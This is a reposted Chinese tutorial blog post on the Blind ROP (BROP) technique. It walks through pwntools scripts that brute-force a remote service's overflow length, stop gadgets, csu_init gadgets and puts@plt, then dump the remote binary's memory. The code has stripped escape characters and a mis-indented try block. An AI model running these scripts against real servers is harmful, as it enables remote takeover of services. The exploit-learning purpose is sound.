我是靠谱客的博主 潇洒时光,最近开发中收集的这篇文章主要介绍中级ROP之BROP,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

Blind ROP

基本介绍

于2014年提出,论文题目名为Hacking Blind,BROP是指在没有对应应用程序的源代码或者二进制文件的情况下,对程序进行攻击,劫持程序的执行流。

攻击条件

  • 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
  • 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样,目前nginx,mysql,apache,openssh等服务器应用都是符合这种特性。

攻击原理

大部分应用都会开启ASLR,NX,Canary保护,绕过保护并且进行攻击。

基本思路

  • 判断栈溢出的长度
    • 暴力枚举
  • 查找stop gadgets
    • 使stop gadgets充当ret
    • 暴力跑出BROP,即csu_init的gadget1,pop六个寄存器的地址
  • blind rop
    • 找到足够多的gadgets来控制输出函数的参数,并调用。
    • 暴力跑出输出函数put@plt或者write@plt的地址
  • exp
    • 利用输出函数dump程序来找到更多的gadgets,从而构建exp

以下实验均假设服务器跑的程序为64位

判断栈溢出的长度

关于爆破Canary,可以参考我的这篇博客

下面只进行讲解爆破栈溢出的长度。

  • 向程序发送若干个字符,如果程序发生崩溃,则意味着我们覆盖到了返回地址,而我们覆盖的返回地址并不合法,所以程序发生了崩溃。
  • 可以使用任一栈溢出的程序进行实验。如32位程序中buf到ebp的距离是0x20,也就是32,加上ebp的长度,为36。覆盖36个a程序不发生崩溃,一旦多加一个a,覆盖37个a,程序崩溃。
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/interrop# ./easy_csu
Try or Retry your payload
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 
//36个a
Try or Retry your payload
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
//37个a
Segmentation fault (core dumped)
  • 就可以编写如下代码,进行爆破长度。
from pwn import *

def gets_length(ip, port):
        for i in range(100):
                payload = 'a' * i + 'a'
                try:
                        sh = remote(ip, port)
                        sh.recv()
                        sh.sendline(payload)
                        sh.recv()
                        sh.close()
                        print "the length is not " + str(i)
                except EOFError as e:
                        sh.close()
                        print "the buf length is " + str(i)
                        return i

查找stop gadgets

我们在学ret2csu的时候都分析过csu_init函数的汇编指令,如果对ret2csu还有不熟悉的可以看我这篇博客

  • 我们再来分析一下libc_csu_init结尾处的长串gadgets
  • 0x0000000000401202该地址为pop rbx处的地址
  • 我们查看下该地址经过偏移后的汇编指令
gef➤  x/5i 0x0000000000401202
=> 0x401202 <__libc_csu_init+82>:	pop    rbx
   0x401203 <__libc_csu_init+83>:	pop    rbp
   0x401204 <__libc_csu_init+84>:	pop    r12
   0x401206 <__libc_csu_init+86>:	pop    r13
   0x401208 <__libc_csu_init+88>:	pop    r14
gef➤  x/5i 0x0000000000401202 + 1
   0x401203 <__libc_csu_init+83>:	pop    rbp
   0x401204 <__libc_csu_init+84>:	pop    r12
   0x401206 <__libc_csu_init+86>:	pop    r13
   0x401208 <__libc_csu_init+88>:	pop    r14
   0x40120a <__libc_csu_init+90>:	pop    r15
gef➤  x/5i 0x0000000000401202 + 2
   0x401204 <__libc_csu_init+84>:	pop    r12
   0x401206 <__libc_csu_init+86>:	pop    r13
   0x401208 <__libc_csu_init+88>:	pop    r14
   0x40120a <__libc_csu_init+90>:	pop    r15
   0x40120c <__libc_csu_init+92>:	ret    
gef➤  x/5i 0x0000000000401202 + 3
   0x401205 <__libc_csu_init+85>:	pop    rsp
   0x401206 <__libc_csu_init+86>:	pop    r13
   0x401208 <__libc_csu_init+88>:	pop    r14
   0x40120a <__libc_csu_init+90>:	pop    r15
   0x40120c <__libc_csu_init+92>:	ret    
gef➤  x/5i 0x0000000000401202 + 4
   0x401206 <__libc_csu_init+86>:	pop    r13
   0x401208 <__libc_csu_init+88>:	pop    r14
   0x40120a <__libc_csu_init+90>:	pop    r15
   0x40120c <__libc_csu_init+92>:	ret    
   0x40120d:	nop    DWORD PTR [rax]
gef➤  x/5i 0x0000000000401202 + 5
   0x401207 <__libc_csu_init+87>:	pop    rbp
   0x401208 <__libc_csu_init+88>:	pop    r14
   0x40120a <__libc_csu_init+90>:	pop    r15
   0x40120c <__libc_csu_init+92>:	ret    
   0x40120d:	nop    DWORD PTR [rax]
gef➤  x/5i 0x0000000000401202 + 6
   0x401208 <__libc_csu_init+88>:	pop    r14
   0x40120a <__libc_csu_init+90>:	pop    r15
   0x40120c <__libc_csu_init+92>:	ret    
   0x40120d:	nop    DWORD PTR [rax]
   0x401210 <__libc_csu_fini>:	ret    
gef➤  x/5i 0x0000000000401202 + 7
   0x401209 <__libc_csu_init+89>:	pop    rsi
   0x40120a <__libc_csu_init+90>:	pop    r15
   0x40120c <__libc_csu_init+92>:	ret    
   0x40120d:	nop    DWORD PTR [rax]
   0x401210 <__libc_csu_fini>:	ret    
gef➤  x/5i 0x0000000000401202 + 8
   0x40120a <__libc_csu_init+90>:	pop    r15
   0x40120c <__libc_csu_init+92>:	ret    
   0x40120d:	nop    DWORD PTR [rax]
   0x401210 <__libc_csu_fini>:	ret    
   0x401211:	add    BYTE PTR [rax],al
gef➤  x/5i 0x0000000000401202 + 9
   0x40120b <__libc_csu_init+91>:	pop    rdi
   0x40120c <__libc_csu_init+92>:	ret    
   0x40120d:	nop    DWORD PTR [rax]
   0x401210 <__libc_csu_fini>:	ret    
   0x401211:	add    BYTE PTR [rax],al
gef➤  x/5i 0x0000000000401202 + 10
   0x40120c <__libc_csu_init+92>:	ret    
   0x40120d:	nop    DWORD PTR [rax]
   0x401210 <__libc_csu_fini>:	ret    
   0x401211:	add    BYTE PTR [rax],al
   0x401213:	add    BYTE PTR [rax-0x7d],cl

  • 可以发现该地址+7偏移处的汇编指令可以操作rsi寄存器,+9偏移处的汇编指令可以操作rdi寄存器。
  • 如下图所示

  • 所以我们可以通过暴力枚举该地址再加上偏移来使用
  • 那么如何查找该gadgets呢,这里引出stop gadgets的概念
  • stop gadgets一般指这样一段代码:当程序执行这段代码时,程序不会崩溃,即其根本目的是告诉攻击者,所测试的返回地址是一个gadgets。
  • stop gadgets可能不止一个,这里我们使用任一个找到的gadgets即可。
  • 当ret为stop gadgets时,程序不会崩溃,而是正常返回。
  • 直接暴力枚举即可,从0x400000开始,因为0x400000地址是64位程序的首地址,大家可以使用IDA打开任意ELF程序,将进度条拖到最前面查看首地址。
def gets_stop_addr(ip, port, length):
        addr = 0x400000
        while True:
                addr += 1
                payload = 'a' * length + p64(addr)
                try:
                        sh = remote(ip, port)
                        sh.recv()
                        sh.sendline(payload)
                        sh.recv()
                        sh.close()
                        print "stop gadgets' addr is:" + hex(addr)
                        return addr
                except EOFError as e:
                        sh.close()
                        print "bad addr:" + hex(addr)

查找csu_init的通用gadgets

  • 找到stop gadgets之后,我们就可以查找csu_init的通用gadgets了。
  • 在这里定义三种地址
  • Probe:也就是我们想要探测的代码地址。
  • stop:不会使程序崩溃的stop gadget地址。
  • trap:导致程序崩溃的地址,基本大部分地址均可以导致程序崩溃,我们可以随意捏造trap的值,如p64(1), p64(‘a’), ‘a’ * 8 等等

之后我们在栈上通过摆放不同顺序的stop和trap来识别出probe地址的身份,比如probe不是gadgets,或者是pop一次的gadget,或者是pop两次的gadget。

  • probe, stop, trap, trap, traps…
    • 如果程序不崩溃,则probe有可能是stop gadget,或者是不对栈进行操作的gadget,如:xor eax,eax;ret
  • probe, trap, stop, trap, traps
    • 如果程序不崩溃,则probe有可能是stop gadget或者pop一次的gadget。如:pop eax;ret
  • probe, trap, trap, trap, trap, trap, trap, stop, trap, traps
    • 如果程序不崩溃,则probe很可能是stop gadget或者pop六次的gadget。
    • 而程序中一下弹出六个寄存器的gadget并不经常出现,所以如果存在这样且不为stop的gadget,那么很大可能就是我们在上文中说到的csu_init函数的gadget
    • 同时需要保证该probe不为stop gadget才可以。检查方法为:将probe后续所有内容变为trap地址,如果程序正常,则为stop gadget;如果程序崩溃则为BROP。
def get_common_gadgets(ip, port, length, stop_addr):
        addr = stop_addr
        while True:
                addr += 1
                payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(stop_addr) + p64(0) * 6
                try:
                        sh = remote(ip, port)
                        sh.recv()
                        sh.sendline(payload)
                        sh.recv()
                        sh.close()
                        print "possible addr: " + hex(addr)
                        try:
                                payload = 'a' * length + p64(addr) + p64(0) * 10
                                sh = remote(ip, port)
                                sh.recv()
                                sh.sendline(payload)
                                sh.recv()
                                sh.close()
                                print "the possible addr is stop addr"
                                
                        except:
                                print "common addr is " + hex(addr)
                                return addr
                except EOFError as e:
                        sh.close()
                        print "bad addr: " + hex(addr)


  • 获得通用gadget后,将其address+9,即可的到pop rdi;ret指令的地址了

暴力枚举地址以查找put@plt等输出函数

  • 程序的plt表具有比较规整的结构,每一个plt表项都是16字节,而且在每次表项的6字节偏移处,事该表项对应函数的解析路径,即该函数对应的got表项的地址。
  • 下面的代码用于查找Puts@plt的地址,因为比起write函数,puts函数只需要一个参数,更加方便。
  • 如何暴力枚举呢?大家可以用IDA打开任一个64位ELF程序,然后查看十六进制窗口,在一开始0x400000处的前四个字符为x7fELF,如下图所示。我们就可以凭借这一点来判断是不是puts函数

def get_put_plt(ip, port, length, stop_addr, common_gadgets):
        addr = stop_addr
        pop_addr = common_gadgets + 9   #pop rdi;ret
        while True:
                addr += 1
                payload = 'a' * length + p64(pop_addr) + p64(0x400000) + p64(addr) + p64(stop_addr)
                try:
                        sh = remote(ip, port)
                        sh.recv()
                        sh.sendline(payload)
                        text = sh.recv()
                        if text.startswith("x7fELF"):
                                print "puts@plt addr is " + hex(addr)
                                sh.close()
                                return addr
                        sh.close()
                except EOFError as e:
                        sh.close()
                        print "bad address: " + hex(addr)

之后就可以利用输出函数dump内存

  • 现在还差一个got表的地址,得到libc版本,就可以获取system函数地址和/bin/sh字符串的地址了。
  • 直接dump程序,从0x400000开始,泄露0x1000个字节足够把程序的plt表泄露出来了。
  • puts函数通过x00进行截断,并且在每一次输出的末尾都会加上换行符x0a,所以有些特殊情况需要做些处理,比如单独的x00、x0a等,首先是去掉末尾puts自动加上的n,然后如果recv到一个n,则说明内存中是x00,如果recv到一个nn,说明内存中是x0a。
from pwn import *
def dump_memory(ip, port, buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
	pop_rdi  = gadgets_addr + 9     # pop rdi; ret
	result = ""
	while start_addr < end_addr:
		sleep(0.1)
		payload  = "A"*buf_size
		payload += p64(pop_rdi)
		payload += p64(start_addr)
		payload += p64(puts_plt)
		payload += p64(stop_addr)
		p = remote(ip, port)
		p.recvline()
		p.sendline(payload)
        try:
			data = p.recv(timeout=0.1)      # timeout makes sure to recive all bytes
			data = data[:data.index("nsssss")] # sss处为程序的运行时发送的前几个字符
			if data == "":
				data = "x00"
			log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
			result += data
			start_addr += len(data)
			p.close()
		except:
		    p.close()
			log.info("not connect")
	return result
  • 我们将泄露的内容写到文件里,之后用IDA打开,binary模式,首先在 edit->segments->rebase program将程序的基址改为0x400000
  • 然后找到puts@plt函数的地址处,摁下c,将数据转为汇编指令,即可发现got表项的地址为0x601018

  • 之后就可以进行程序的利用了。

参考文献

  • ctf wiki
  • ctf-All-in-one

最后

以上就是潇洒时光为你收集整理的中级ROP之BROP的全部内容,希望文章能够帮你解决中级ROP之BROP所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(36)

评论列表共有 0 条评论

立即
投稿
返回
顶部